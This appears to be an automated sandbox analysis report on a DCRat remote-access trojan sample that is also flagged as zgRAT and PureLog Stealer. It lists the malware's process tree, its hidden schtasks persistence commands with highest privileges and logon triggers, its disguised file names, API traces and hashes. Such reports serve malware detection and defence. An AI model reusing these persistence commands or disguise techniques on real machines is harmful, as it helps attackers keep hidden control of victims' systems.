C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:26:54
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe"
Imagebase:	0x1c0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:26:54
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe"
Imagebase:	0x840000
File size:	5'973'672 bytes
MD5 hash:	8A0591A6B534E32FA179F2D781B79026
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:27:01
Start date:	08/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff747e50000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:27:01
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 26CF464DBA35F416758053A43B23FD3D C
Imagebase:	0x310000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:27:02
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)"
Imagebase:	0x310000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:27:03
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 7BC9C83AA604E4F7E55BC37E42BF8976 C
Imagebase:	0x310000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:27:05
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:27:05
Start date:	08/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:27:05
Start date:	08/12/2024
Path:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
Wow64 process (32bit):	false
Commandline:	"C:\bridgeMonitorDhcpCommon/webDriverintoDll.exe"
Imagebase:	0x4e0000
File size:	3'538'432 bytes
MD5 hash:	26C2B88440A62B4CB79201E01A404BD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000000.1775306001.00000000004E2000.00000002.00000001.01000000.00000015.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1853703523.0000000012EE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 14 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ApplicationFrameHost" /sc ONLOGON /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 8 /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 10 /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:27:11
Start date:	08/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:27:12
Start date:	08/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat"
Imagebase:	0x7ff7d6740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:27:12
Start date:	08/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:27:12
Start date:	08/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6fac10000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:27:12
Start date:	08/12/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff7682e0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:27:13
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe"
Imagebase:	0xa60000
File size:	3'538'432 bytes
MD5 hash:	26C2B88440A62B4CB79201E01A404BD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:27:13
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe"
Imagebase:	0x8c0000
File size:	3'538'432 bytes
MD5 hash:	26C2B88440A62B4CB79201E01A404BD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.2899943903.00000000034E3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:27:17
Start date:	08/12/2024
Path:	C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe"
Imagebase:	0xdf0000
File size:	3'538'432 bytes
MD5 hash:	26C2B88440A62B4CB79201E01A404BD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1512
Total number of Limit Nodes:	42

Executed Functions

Function 004ADF1E Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004A0863: GetModuleHandleW.KERNEL32(kernel32), ref: 004A087C
Part of subcall function 004A0863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004A088E
Part of subcall function 004A0863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 004A08BF

Part of subcall function 004AA64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 004AA655

Part of subcall function 004AAC16: OleInitialize.OLE32(00000000), ref: 004AAC2F
Part of subcall function 004AAC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 004AAC66
Part of subcall function 004AAC16: SHGetMalloc.SHELL32(004D8438), ref: 004AAC70

GetCommandLineW.KERNEL32 ref: 004ADF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 004ADF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 004ADF94
UnmapViewOfFile.KERNEL32(00000000), ref: 004ADFCE

Part of subcall function 004ADBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 004ADBF4
Part of subcall function 004ADBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 004ADC30

CloseHandle.KERNEL32(00000000), ref: 004ADFD7
GetModuleFileNameW.KERNEL32(00000000,004EEC90,00000800), ref: 004ADFF2
SetEnvironmentVariableW.KERNEL32(sfxname,004EEC90), ref: 004ADFFE
GetLocalTime.KERNEL32(?), ref: 004AE009
_swprintf.LIBCMT ref: 004AE048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 004AE05A
GetModuleHandleW.KERNEL32(00000000), ref: 004AE061
LoadIconW.USER32(00000000,00000064), ref: 004AE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 004AE0C9
Sleep.KERNEL32(?), ref: 004AE0F7
DeleteObject.GDI32 ref: 004AE130
DeleteObject.GDI32(?), ref: 004AE140
CloseHandle.KERNEL32 ref: 004AE183

Strings

xzN, xrefs: 004AE10B
winrarsfxmappingfile.tmp, xrefs: 004ADF77
sfxstime, xrefs: 004AE055
sfxname, xrefs: 004ADFF9
STARTDLG, xrefs: 004AE0BE
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 004AE039
C:\Users\user\Desktop, xrefs: 004ADF33

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xzN
API String ID: 3049964643-3307994349
Opcode ID: f7e0d895a9b6312f7fc791d2f9e64b54c28e8d37396878563089620dd243c997
Instruction ID: 41262eb7433939d0a65362ddbf9a7a70adb621f19a0e63c28359699916aae233
Opcode Fuzzy Hash: f7e0d895a9b6312f7fc791d2f9e64b54c28e8d37396878563089620dd243c997
Instruction Fuzzy Hash: 1E611671904240AFD320AF66DC49F6B37ACAB66309F04043FF946962A2DB7C9D44C76E

Function 004AA6C2 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,004AB73D,00000066), ref: 004AA6D5
SizeofResource.KERNEL32(00000000,?,?,?,004AB73D,00000066), ref: 004AA6EC
LoadResource.KERNEL32(00000000,?,?,?,004AB73D,00000066), ref: 004AA703
LockResource.KERNEL32(00000000,?,?,?,004AB73D,00000066), ref: 004AA712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,004AB73D,00000066), ref: 004AA72D
GlobalLock.KERNEL32(00000000), ref: 004AA73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 004AA762
GlobalUnlock.KERNEL32(00000000), ref: 004AA7C6

Part of subcall function 004AA626: GdipAlloc.GDIPLUS(00000010), ref: 004AA62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 004AA7A7
GlobalFree.KERNEL32(00000000), ref: 004AA7CD

Strings

PNG, xrefs: 004AA6C6
FjunJ, xrefs: 004AA762

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: FjunJ$PNG
API String ID: 211097158-2828676503
Opcode ID: 084f5d045e1518a819975f5574e4e8114b8582669a1a683beb9535abefbcec80
Instruction ID: ac60e3a49dcb7da32ba8bb91fda03df1f043003ebbbc9b7794dd3363489df778
Opcode Fuzzy Hash: 084f5d045e1518a819975f5574e4e8114b8582669a1a683beb9535abefbcec80
Instruction Fuzzy Hash: 3F319379600302AFD7119F21DC48D2B7BB9EF96751B04452AF80582660EF35DD54CA69

Function 0049A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A6C4

Part of subcall function 0049BB03: _wcslen.LIBCMT ref: 0049BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,0049A592,000000FF,?,?), ref: 0049A728
GetLastError.KERNEL32(?,?,?,?,0049A592,000000FF,?,?), ref: 0049A734

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 97144dc7c5fbd569374e032b4c57b1475a4fbf33abffad3041330b32677d9e6d
Instruction ID: b10e8e72478c1b5478d1b861f32be11ac0a8a7bd7ebb7403a1fc9f492259510f
Opcode Fuzzy Hash: 97144dc7c5fbd569374e032b4c57b1475a4fbf33abffad3041330b32677d9e6d
Instruction Fuzzy Hash: 6241A772900515ABCB15DF64CC89AEAB7B8FB48354F1441A7F95DE3200D738AE90CF95

Function 004B7DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,004B7DC4,00000000,004CC300,0000000C,004B7F1B,00000000,00000002,00000000), ref: 004B7E0F
TerminateProcess.KERNEL32(00000000,?,004B7DC4,00000000,004CC300,0000000C,004B7F1B,00000000,00000002,00000000), ref: 004B7E16
ExitProcess.KERNEL32 ref: 004B7E28

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
